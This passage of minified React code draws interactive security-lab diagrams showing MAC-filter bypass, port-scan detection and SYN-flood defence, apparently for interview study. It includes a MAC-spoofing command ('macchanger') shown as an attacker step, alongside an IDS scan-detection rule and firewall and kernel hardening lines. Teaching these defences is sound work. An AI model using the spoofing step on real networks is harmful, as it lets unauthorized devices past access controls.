FORWARD`}),e===11&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:`#ef4444`,label:`ROGUE FRAME`}),e===15&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:`#f59e0b`,label:`SPOOFED FRAME`}),(0,k.jsx)(M,{cx:80,cy:75,label:a?`ATTACKER (KALI LINUX)`:i?`ROGUE DEVICE`:`AUTHORIZED LAPTOP`,ip:a?e>=14?`MAC: 00:50:56:C0:00:08 (SPOOFED)`:`MAC: 00:0C:29:AA:BB:CC`:i?`MAC: 70:85:C2:11:22:33`:`MAC: 00:50:56:C0:00:08`,active:!0,danger:i||a,success:e>=8&&e<=9}),t&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-42`,y:`-28`,width:`84`,height:`44`,rx:`6`,fill:`#0f172a`,stroke:e===12?`#ef4444`:e>=8?`#10b981`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`SWITCH / AP`}),(0,k.jsx)(`text`,{x:`0`,y:`7`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:`PORT Gi0/1`}),(0,k.jsx)(`text`,{x:`0`,y:`24`,textAnchor:`middle`,fontSize:`9`,fontWeight:`bold`,fill:`#0f172a`,children:`MAC SECURITY GATE`})]}),n&&(0,k.jsx)(P,{cx:650,cy:75,label:`CORP LAN SERVER`,sub:`VLAN 10 (10.0.0.10)`,active:!0,success:e===9}),s&&(0,k.jsx)(j,{cx:o,cy:75,label:c,sub:l,color:u,dropped:e===12}),e===12&&(0,k.jsxs)(`g`,{transform:`translate(330, 75)`,children:[(0,k.jsx)(`line`,{x1:`-15`,y1:`-15`,x2:`15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`line`,{x1:`15`,y1:`-15`,x2:`-15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`LAYER 2 MAC FILTERING ENGINE: WHITELIST INSPECTION & SECURITY ANALYSIS`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`SWITCH PORT-SECURITY ALLOWLIST:`}),(0,k.jsx)(`rect`,{x:`8`,y:`26`,width:`309`,height:`20`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`39`,fill:`#64748b`,fontSize:`7`,fontFamily:`monospace`,children:`Port    Allowed MAC Address     Status     Action`}),(0,k.jsx)(`rect`,{x:`8`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:e>=7&&e<=9||e>=15?`#dcfce7`:`#ffffff`,stroke:e>=7&&e<=9?`#86efac`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`62`,fill:`#0f172a`,fontSize:`7.5`,fontFamily:`monospace`,children:`Gi0/1   00:50:56:C0:00:08      ACTIVE     PERMIT ✓`}),(0,k.jsx)(`rect`,{x:`8`,y:`72`,width:`309`,height:`22`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`86`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`Gi0/2   00:50:56:C0:00:09      STATIC     PERMIT ✓`}),(0,k.jsx)(`rect`,{x:`8`,y:`96`,width:`309`,height:`22`,rx:`3`,fill:e===12?`#fee2e2`:`#ffffff`,stroke:e===12?`#fca5a5`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`110`,fill:e===12?`#991b1b`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`Default Any Unknown MAC        UNLISTED   DROP ✕`}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Port Violation Mode: `,(0,k.jsx)(`tspan`,{fill:`#0284c7`,fontWeight:`bold`,children:`Restrict / Drop frame`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`ETHERNET FRAME INSPECTION & PROTOCOL ANALYSIS:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`34`,rx:`4`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#94a3b8`,fontSize:`7`,fontFamily:`monospace`,children:`[LAYER 2 ETHERNET II FRAME HEADER]`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:i?`#f87171`:a?`#fbbf24`:`#38bdf8`,fontSize:`7.5`,fontFamily:`monospace`,children:a?`Src MAC: 00:50:56:C0:00:08 (CLONED) ➔ Dst: SWITCH`:i?`Src MAC: 70:85:C2:11:22:33 (UNKNOWN) ➔ Dst: GATEWAY`:`Src MAC: 00:50:56:C0:00:08 (AUTH) ➔ Dst: SERVER`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 64)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`68`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:`Key Takeaway & Enterprise Standard:`}),(0,k.jsx)(`text`,{x:`10`,y:`28`,fill:`#475569`,fontSize:`7.5`,children:`• MAC headers travel in unencrypted cleartext across Wi-Fi/LAN.`}),(0,k.jsxs)(`text`,{x:`10`,y:`42`,fill:`#475569`,fontSize:`7.5`,children:[`• Attackers change MAC in 1 sec: `,(0,k.jsx)(`tspan`,{fill:`#b91c1c`,fontFamily:`monospace`,children:`macchanger -m <MAC> eth0`})]}),(0,k.jsx)(`text`,{x:`10`,y:`58`,fill:`#059669`,fontSize:`7.5`,fontWeight:`bold`,children:`✔ Solution: IEEE 802.1X (EAP-TLS) PKI Certificate Auth.`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=15?`RESULT: MAC FILTER BYPASS DEMONSTRATED — 802.1X AUTHENTICATION MANDATORY`:e>=12?`RESULT: ✕ UNREGISTERED MAC BLOCKED AT INGRESS PORT`:e>=8?`RESULT: ✓ AUTHORIZED CLIENT PERMITTED TO ACCESS CORP LAN`:`READY — ADVANCE STEP TO TRACE FRAME VALIDATION & SPOOFING VULNERABILITY`})})]})},Sn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=14,a=-100,o=!1,s=`TCP SYN`,c=`Port: 22`,l=`#ef4444`;return e===5?(o=!0,a=90,s=`TCP SYN :22`,c=`SSH Probe`):e===6?(o=!0,a=230,s=`TCP SYN :22`,c=`➔ Firewall Ingress`):e===7?(o=!0,a=370,s=`INSPECTING :22`,c=`Counter: 1 probe`,l=`#f59e0b`):e===8?(o=!0,a=230,s=`TCP SYN :80`,c=`HTTP Probe`):e===9?(o=!0,a=370,s=`INSPECTING :80`,c=`Counter: 2 probes`,l=`#f59e0b`):e===10?(o=!0,a=230,s=`TCP SYN :443`,c=`HTTPS Probe`):e===11?(o=!0,a=370,s=`INSPECTING :443`,c=`Counter: 3 probes`,l=`#f59e0b`):e===12?(o=!0,a=230,s=`BURST SCAN :21,:23,:25`,c=`Rapid Port Probing`,l=`#ef4444`):e===13?(o=!0,a=370,s=`THRESHOLD BREACH!`,c=`>10 syn/sec rate`,l=`#ef4444`):e===16&&(o=!0,a=330,s=`TCP SYN :3389`,c=`AUTO-SHUN DROP ✕`,l=`#ef4444`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:i?`#fef2f2`:e>=4?`#fffbeb`:`#eff6ff`,stroke:i?`#fca5a5`:e>=4?`#fcd34d`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:i?`#991b1b`:e>=4?`#b45309`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:i?`PORT SCAN DETECTED: FIREWALL AUTO-SHUN BLACKLIST ACTIVATED ➔ ATTACKER IP DROPPED ✕`:e>=4?`RECONNAISSANCE SCAN IN PROGRESS: ATTACKER PROBING MULTIPLE TCP PORTS SEQUENTIALLY`:`PORT SCAN DETECTION LAB: HEURISTIC RATE-BASED THREAT DETECTION & AUTO-SHUNNING`})]}),r&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===6||e===8||e===10||e===12)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:`#ef4444`,label:`SYN PROBE`}),(0,k.jsx)(M,{cx:80,cy:75,label:`ATTACKER (NMAP)`,ip:`198.51.100.50`,active:!0,danger:!0}),t&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-42`,y:`-28`,width:`84`,height:`44`,rx:`6`,fill:`#0f172a`,stroke:i?`#ef4444`:e>=7?`#f59e0b`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`FIREWALL / IPS`}),(0,k.jsx)(`text`,{x:`0`,y:`7`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:i?`SHUN ACTIVE`:`SCAN WATCH`}),(0,k.jsx)(`text`,{x:`0`,y:`24`,textAnchor:`middle`,fontSize:`9`,fontWeight:`bold`,fill:`#0f172a`,children:`SECURITY GATEWAY`})]}),n&&(0,k.jsx)(P,{cx:650,cy:75,label:`TARGET WEB HOST`,sub:`10.0.0.80 (Protected)`,active:!0,success:i}),o&&(0,k.jsx)(j,{cx:a,cy:75,label:s,sub:c,color:l,dropped:e===16}),e===16&&(0,k.jsxs)(`g`,{transform:`translate(330, 75)`,children:[(0,k.jsx)(`line`,{x1:`-15`,y1:`-15`,x2:`15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`}),(0,k.jsx)(`line`,{x1:`15`,y1:`-15`,x2:`-15`,y2:`15`,stroke:`#ef4444`,strokeWidth:`4`,strokeLinecap:`round`})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`PORT SCAN DETECTION ENGINE: ANOMALY HEURISTICS & AUTO-SHUN BLACKLIST`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`SRC IP CONNECTION RATE TRACKER:`}),(0,k.jsx)(`rect`,{x:`8`,y:`26`,width:`309`,height:`20`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`39`,fill:`#64748b`,fontSize:`7`,fontFamily:`monospace`,children:`Source IP        Distinct Ports/s   Threshold   Threat Level`}),(0,k.jsx)(`rect`,{x:`8`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:i?`#fee2e2`:e>=7?`#fef3c7`:`#ffffff`,stroke:i?`#fca5a5`:e>=7?`#fde68a`:`#e2e8f0`}),(0,k.jsxs)(`text`,{x:`14`,y:`62`,fill:`#0f172a`,fontSize:`7.5`,fontFamily:`monospace`,children:[`198.51.100.50    `,e>=12?`42 ports/sec`:e>=7?`3 ports/sec`:`0 ports/sec`,`      10/sec      `,i?`CRITICAL ✕`:e>=7?`SUSPICIOUS ⚠`:`NORMAL`]}),(0,k.jsx)(`rect`,{x:`8`,y:`72`,width:`309`,height:`22`,rx:`3`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`14`,y:`86`,fill:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`192.168.1.100    1 port/min         10/sec      NORMAL ✓`}),(0,k.jsx)(`rect`,{x:`8`,y:`98`,width:`309`,height:`36`,rx:`3`,fill:i?`#fef2f2`:`#f1f5f9`,stroke:i?`#ef4444`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`14`,y:`112`,fill:i?`#991b1b`:`#475569`,fontSize:`7.5`,fontWeight:`bold`,children:`DYNAMIC AUTO-SHUN ACTION:`}),(0,k.jsx)(`text`,{x:`14`,y:`126`,fill:i?`#b91c1c`:`#64748b`,fontSize:`7`,fontFamily:`monospace`,children:i?`iptables -I INPUT -s 198.51.100.50 -j DROP (Active: 3600s)`:`Status: Monitoring thresholds (SYN Rate & Port Spread)`})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`FIREWALL MITIGATION MECHANISMS:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`34`,rx:`4`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#94a3b8`,fontSize:`7`,fontFamily:`monospace`,children:`[IDS/IPS PORT SCAN DETECTION RULE]`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:i?`#f87171`:`#38bdf8`,fontSize:`7.5`,fontFamily:`monospace`,children:`alert tcp any any -> $HOME any (msg:"SCAN SYN"; threshold:type both, count 10, seconds 1;)`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 64)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`68`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:`Interview Takeaway & Defense Techniques:`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#475569`,fontSize:`7.5`,children:[`• `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`Rate Limiting:`}),` Limit new TCP SYNs per source IP.`]}),(0,k.jsxs)(`text`,{x:`10`,y:`42`,fill:`#475569`,fontSize:`7.5`,children:[`• `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`Auto-Shunning / Fail2Ban:`}),` Dynamically blacklist offensive IPs.`]}),(0,k.jsxs)(`text`,{x:`10`,y:`58`,fill:`#059669`,fontSize:`7.5`,fontWeight:`bold`,children:[`• `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`Port Knocking / Honeypots:`}),` Trap scanners on decoy ports.`]})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=16?`RESULT: ✓ SERVER PROTECTED — ATTACKER ISOLATED AND DROPPED BY FIREWALL AUTO-SHUN`:e>=13?`ALERT: ⚠ PORT SCAN SIGNATURE DETECTED — TRIGGERING DYNAMIC BLACKLIST`:e>=5?`ACTIVE: PROBING PORTS 22, 80, 443, 3389`:`READY — ADVANCE STEP TO TRACE PORT SCAN AND AUTO-SHUN MITIGATION`})})]})},Cn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=7&&e<=11,a=e>=12,o=-100,s=!1,c=`TCP SYN`,l=`Seq=1000`,u=`#0284c7`;return e===4?(s=!0,o=90,c=`TCP SYN`,l=`Seq=1000 (Norm Client)`):e===5?(s=!0,o=370,c=`SYN-ACK RETURN`,l=`Seq=5000 Ack=1001`,u=`#10b981`):e===6?(s=!0,o=650,c=`ESTABLISHED ✓`,l=`Handshake Complete`,u=`#10b981`):e===8||e===9?(s=!0,o=230,c=`SYN FLOOD (SPOOFED)`,l=`Millions of fake IPs`,u=`#ef4444`):e===10?(s=!0,o=650,c=`QUEUE 100% FULL`,l=`RAM Exhaustion (DoS)`,u=`#ef4444`):e===11?(s=!0,o=230,c=`LEGIT CLIENT DROPPED`,l=`No Queue Slots Left ✕`,u=`#ef4444`):e===14||e===15?(s=!0,o=370,c=`SYN COOKIE ISN`,l=`Crypto Stateless Hash`,u=`#8b5cf6`):(e===16||e===17)&&(s=!0,o=510,c=`ACK + COOKIE MATCH ✓`,l=`Stateless Handshake OK`,u=`#10b981`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:a?`#f5f3ff`:i?`#fef2f2`:`#eff6ff`,stroke:a?`#c4b5fd`:i?`#fca5a5`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:a?`#6d28d9`:i?`#991b1b`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:a?`SYN COOKIE DEFENSE ACTIVE: STATELESS CRYPTOGRAPHIC ISN ENCODING ➔ TCB MEMORY PROTECTED ✓`:i?`SYN FLOOD ATTACK: SPOOFED HALF-OPEN CONNECTIONS FILL SYN BACKLOG QUEUE (DoS) ✕`:`TCP 3-WAY HANDSHAKE & SYN FLOOD MITIGATION LAB`})]}),r&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===4||e===8||e===16)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`610`,y2:`75`,color:e===8?`#ef4444`:`#0284c7`,label:e===8?`SYN FLOOD`:`TCP SYN`}),e===5&&(0,k.jsx)(A,{x1:`610`,y1:`75`,x2:`120`,y2:`75`,color:`#10b981`,label:`SYN-ACK`}),(0,k.jsx)(M,{cx:80,cy:75,label:i?`BOTNET / ATTACKER`:`LEGIT CLIENT`,ip:i?`Spoofed Source IPs`:`192.168.1.50`,active:!0,danger:i,success:e===6||a}),t&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-42`,y:`-28`,width:`84`,height:`44`,rx:`6`,fill:`#0f172a`,stroke:a?`#8b5cf6`:i?`#ef4444`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:`SECURITY GATEWAY`}),(0,k.jsx)(`text`,{x:`0`,y:`7`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:a?`SYN COOKIES`:`SYN PROXY`}),(0,k.jsx)(`text`,{x:`0`,y:`24`,textAnchor:`middle`,fontSize:`9`,fontWeight:`bold`,fill:`#0f172a`,children:`FIREWALL / TCP STACK`})]}),n&&(0,k.jsx)(P,{cx:650,cy:75,label:`WEB SERVER`,sub:i?`BACKLOG 100% (CRASH)`:a?`STATELESS MODE ✓`:`PORT 80 (ONLINE)`,active:!0,danger:e===10||e===11,success:a||e===6}),s&&(0,k.jsx)(j,{cx:o,cy:75,label:c,sub:l,color:u,dropped:e===11}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`TCP CONNECTION STATE & SYN QUEUE BACKLOG MONITOR`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`SERVER SYN-RCVD BACKLOG SLOTS (TCB POOL):`}),(0,k.jsxs)(`g`,{transform:`translate(8, 26)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`70`,height:`40`,rx:`4`,fill:i?`#fee2e2`:e>=4?`#dcfce7`:`#ffffff`,stroke:i?`#ef4444`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`35`,y:`15`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7`,fontWeight:`bold`,children:`Slot 1`}),(0,k.jsx)(`text`,{x:`35`,y:`28`,textAnchor:`middle`,fill:i?`#b91c1c`:`#059669`,fontSize:`6.5`,fontFamily:`monospace`,children:i?`SYN_RCVD`:e>=4?`ESTABLISHED`:`EMPTY`}),(0,k.jsx)(`rect`,{x:`76`,y:`0`,width:`70`,height:`40`,rx:`4`,fill:i?`#fee2e2`:`#ffffff`,stroke:i?`#ef4444`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`111`,y:`15`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7`,fontWeight:`bold`,children:`Slot 2`}),(0,k.jsx)(`text`,{x:`111`,y:`28`,textAnchor:`middle`,fill:i?`#b91c1c`:`#64748b`,fontSize:`6.5`,fontFamily:`monospace`,children:i?`SYN_RCVD`:`EMPTY`}),(0,k.jsx)(`rect`,{x:`152`,y:`0`,width:`70`,height:`40`,rx:`4`,fill:i?`#fee2e2`:`#ffffff`,stroke:i?`#ef4444`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`187`,y:`15`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7`,fontWeight:`bold`,children:`Slot 3`}),(0,k.jsx)(`text`,{x:`187`,y:`28`,textAnchor:`middle`,fill:i?`#b91c1c`:`#64748b`,fontSize:`6.5`,fontFamily:`monospace`,children:i?`SYN_RCVD`:`EMPTY`}),(0,k.jsx)(`rect`,{x:`228`,y:`0`,width:`78`,height:`40`,rx:`4`,fill:i?`#fee2e2`:`#ffffff`,stroke:i?`#ef4444`:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`267`,y:`15`,textAnchor:`middle`,fill:`#0f172a`,fontSize:`7`,fontWeight:`bold`,children:`Slot 4 (Overflow)`}),(0,k.jsx)(`text`,{x:`267`,y:`28`,textAnchor:`middle`,fill:i?`#b91c1c`:`#64748b`,fontSize:`6.5`,fontFamily:`monospace`,children:i?`EXHAUSTED`:`EMPTY`})]}),(0,k.jsxs)(`g`,{transform:`translate(8, 74)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`58`,rx:`4`,fill:a?`#f5f3ff`:`#ffffff`,stroke:a?`#8b5cf6`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:a?`#6d28d9`:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:a?`✔ SYN COOKIES ACTIVE (KERNEL BYPASS):`:`SYN BACKLOG QUEUE STATUS:`}),(0,k.jsx)(`text`,{x:`10`,y:`28`,fill:`#475569`,fontSize:`7`,children:a?`• No memory allocated in RAM upon SYN reception.`:i?`• 100% backlog pool consumed by spoofed unreachable hosts.`:`• Normal TCP handshake allocating 280 bytes per TCB.`}),(0,k.jsx)(`text`,{x:`10`,y:`44`,fill:a?`#6d28d9`:i?`#b91c1c`:`#059669`,fontSize:`7`,fontFamily:`monospace`,children:a?`ISN = SHA256(SrcIP, DstIP, SrcPort, DstPort, Secret, MSS)`:i?`Queue = 1024/1024 (100% FULL ➔ DROP LEGIT SYN)`:`Queue = 1/1024 (0.1% normal capacity)`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`SYN FLOOD MITIGATION ARCHITECTURE:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`34`,rx:`4`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#94a3b8`,fontSize:`7`,fontFamily:`monospace`,children:`[LINUX KERNEL DEFENSE PARAMETER]`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:a?`#a78bfa`:`#38bdf8`,fontSize:`7.5`,fontFamily:`monospace`,children:`sysctl -w net.ipv4.tcp_syncookies = 1`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 64)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`68`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`8`,fontWeight:`bold`,children:`Core Interview Principles:`}),(0,k.jsxs)(`text`,{x:`10`,y:`28`,fill:`#475569`,fontSize:`7.5`,children:[`1. `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`SYN Flood Goal:`}),` Exhaust RAM TCB half-open queue table.`]}),(0,k.jsxs)(`text`,{x:`10`,y:`42`,fill:`#475569`,fontSize:`7.5`,children:[`2. `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`SYN Cookies:`}),` Server responds statelessly without allocating RAM.`]}),(0,k.jsxs)(`text`,{x:`10`,y:`58`,fill:`#059669`,fontSize:`7.5`,fontWeight:`bold`,children:[`3. `,(0,k.jsx)(`tspan`,{fontWeight:`bold`,children:`SYN Proxy (Firewall):`}),` Firewall completes handshake before passing to server.`]})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=16?`RESULT: ✓ SYN FLOOD NEUTRALIZED VIA SYN COOKIES — SERVER REMAINS 100% OPERATIONAL`:e>=10?`ALERT: ✕ SYN BACKLOG QUEUE EXHAUSTED BY SPOOFED HALF-OPEN CONNECTIONS`:e>=4?`STANDARD: TCP 3-WAY HANDSHAKE (SYN ➔ SYN-ACK ➔ ACK)`:`READY — ADVANCE STEP TO SIMULATE SYN FLOOD & SYN COOKIE DEFENSE`})})]})},wn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4,a=e>=8,o=-100,s=!1,c=`HTTPS`,l=`Clean Request`,u=`#0284c7`;return e===5?(s=!0,o=90,c=`HTTPS GET`,l=`User ➔ Anycast PoP`):e===6?(s=!0,o=370,c=`CLEAN FILTERED`,l=`Passed to Tunnel`,u=`#10b981`):e===7?(s=!0,o=650,c=`ORIGIN SERVING`,l=`HTTP 200 OK`,u=`#10b981`):e===8||e===9?(s=!0,o=230,c=`500 Gbps FLOOD`,l=`UDP / SYN Wave`,u=`#ef4444`):e===10||e===11?(s=!0,o=370,c=`DPI FILTERING`,l=`BGP Flowspec Drop`,u=`#f59e0b`):e===12||e===13?(s=!0,o=330,c=`99.9% 